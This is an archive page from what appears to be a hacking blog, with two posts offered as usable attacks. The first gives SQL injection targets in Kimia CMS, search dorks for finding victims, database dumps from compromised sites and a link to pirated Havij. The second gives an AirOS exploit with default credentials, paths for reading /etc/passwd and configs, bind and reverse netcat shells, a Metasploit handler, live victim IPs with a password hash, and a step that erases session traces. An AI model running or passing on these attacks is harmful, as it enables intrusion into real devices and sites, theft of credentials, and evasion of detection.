Category Archives: exploit

[sqli] Kimia

Posted on by
4

An old one, but still works fine!

http://packetstormsecurity.org/files/view/101202/kimia-sql.txt
http://www.securityhome.eu/exploits/exploit_pdf.php?eid=11754170304e409574e5f234.09320930

http://www.victim.com/image-details.php?id=[SQL]

http://www.victim.com/alert_article.php?id=[SQL]

http://www.victim.com/news-article.php?id=[SQL]

http://www.victim.com/gallery-list.php?id=[SQL]

http://www.victim.com/newsitem.php?id=[SQL]

first some googling..

google dorks:
inurl:”image-details.php?id=”
inurl:”alert_article.php?id=”
inurl:”news-article.php?id=”
inurl:”gallery-list.php?id=”
inurl:”newsitem.php?id=”

http://<removed for privacy>/gallery-list.php?id=18
http://<removed for privacy>/producer/newsitem.php?id=6
http://<removed for privacy>/article.php?id=159
http://<removed for privacy>/products.php?id=41

ofcourse the makers

http://www.kimia.co.za/newslist.php?interval=10&min=30&newsID=72

This I won’t remove ;-) they are vulnerable themselfs :P

Target: http://<removed for privacy>
Host IP: <removed for privacy>
Web Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
Powered-by: PHP/5.2.6-1+lenny13
DB Server: MySQL >=5
Resp. Time(avg): 1678 ms
Current User: propeo_1@<removed for privacy>
Sql Version: 5.1.49-3~bpo50+1
Current DB: propeo_db1
System User: propeo_1@<removed for privacy>
Host Name: <removed for privacy>
Installation dir: /usr/
DB User: ‘propeo_1′@’%’
Data Bases: information_schema
propeo_db1

Target: http://<removed for privacy>
Host IP: <removed for privacy>
Web Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
Powered-by: PHP/5.3.3-7+squeeze3+hetz2
DB Server: MySQL error based
Resp. Time(avg): 542 ms
Current User: foxanr_1@<removed for privacy>
Sql Version: 5.1.49-3~bpo50+1
Current DB: foxanr_db1
System User: foxanr_1@<removed for privacy>
Host Name: d<removed for privacy>
Installation dir: /usr/
DB User: ‘foxanr_1′@’%’
Data Bases: information_schema
foxanr_db1

 

Target: http://<removed for privacy>
Host IP: <removed for privacy>
Web Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
Powered-by: PHP/5.3.3-7+squeeze3+hetz2
DB Server: MySQL unknown ver
Resp. Time(avg): 1439 ms
Current User: joymag_1@<removed for privacy>
Sql Version: 5.1.49-3~bpo50+1
Current DB: joymag_db1
System User: joymag_1@<removed for privacy>
Host Name: <removed for privacy>
Installation dir: /usr/
DB User: ‘joymag_1′@’%’
Data Bases: information_schema
joymag_db1

Target: http://<removed for privacy>
Host IP: <removed for privacy>
Web Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
Powered-by: PHP/5.3.3-7+squeeze3+hetz2
DB Server: MySQL unknown ver
Resp. Time(avg): 3148 ms
Current User: kimiaa_1@<removed for privacy>
Sql Version: 5.1.49-3~bpo50+1
Current DB: kimiaa_db1
System User: kimiaa_1?dedi110

 

Target: http://<removed for privacy>
Host IP: <removed for privacy>
Web Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
Powered-by: PHP/5.3.3-7+squeeze3+hetz2
DB Server: MySQL unknown ver
Resp. Time(avg): 2508 ms
Current User: robassu_1@<removed for privacy>
Sql Version: 5.1.49-3~bpo50+1
Current DB: robassu_db1
System User: robassu_1@<removed for privacy>
Host Name: dedi110.jn

table structure:  http://dl.dropbox.com/u/4378489/Forums/evilzone/Kimia_tables.html

Use with Havij Pro 1.15
http://www.ziddu.com/download/17108226/Havij_1.15_Pro.rar.html 

[exploit] AirOS 5

Posted on by
46

Vulnerable: Ubiquiti Networks, Inc. AirOS 5
Ubiquiti Networks, Inc. AirOS 4.0
Ubiquiti Networks, Inc. AirOS 3.6.1

Default:
IP: 192.168.1.20
Username: ubnt
Password: ubnt
first off:
http://www.securityfocus.com/bid/51178/exploit

go to
http://<site>/admin.cgi/sd.css

here’s a menu for up/downloading,etc :-)
download /etc/passwd and voilá
(or command execute: cat /etc/passwd)

you can download
/etc/passwd
lib/settings.inc
/tmp/system.cfg
/usr/etc/system.cfg

Command lines:
wlanconfig ath0 list scan
iwconfig
ifconfig
netstat -a
uname -a
ps -A
ls -a
or try:
cat /etc/passwd
discover
status-full.cgi
id
env

shells:
/bin/sh
/bin/ash
/bin/clish

————————————
let’s create a shell with Metasploit
————————————
Cmd to execute at sd.css:
nc -l -p 4444 -e /bin/sh -i

-open metasploit

sudo ./msfconsole
> use multi/handler
exploit(handler) > set payload cmd/unix/bind_netcat
exploit(handler) > set rhost <target>
exploit(handler) > exploit
Started bind handler
Starting the payload handler…
Command shell session 10 opened (10.0.0.2:59681 -> 91.192.120.12:4444) at 2012-01-04 07:48:50 +0100
so, there’s your shell
(don’t forget to open your port 4444 if behind a router.)

or use nc ofcourse
nc <ip> 4444

some working IP’s
91.192.120.12
91.200.36.1
77.92.222.131 ubnt:VvpvCwhccFv6Q:0:0:Administrator:/:/bin/sh
(update feb 2012: most are not working anymore by change of user rights of the css file) 

at the same page after you’re done playing around
execute command:
rm /tmp/.sessions.tdb
I noticed Netcat on AirOS doesn’t support -e
workaround:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc your ISP-IP 4444 >/tmp/f

–enjoy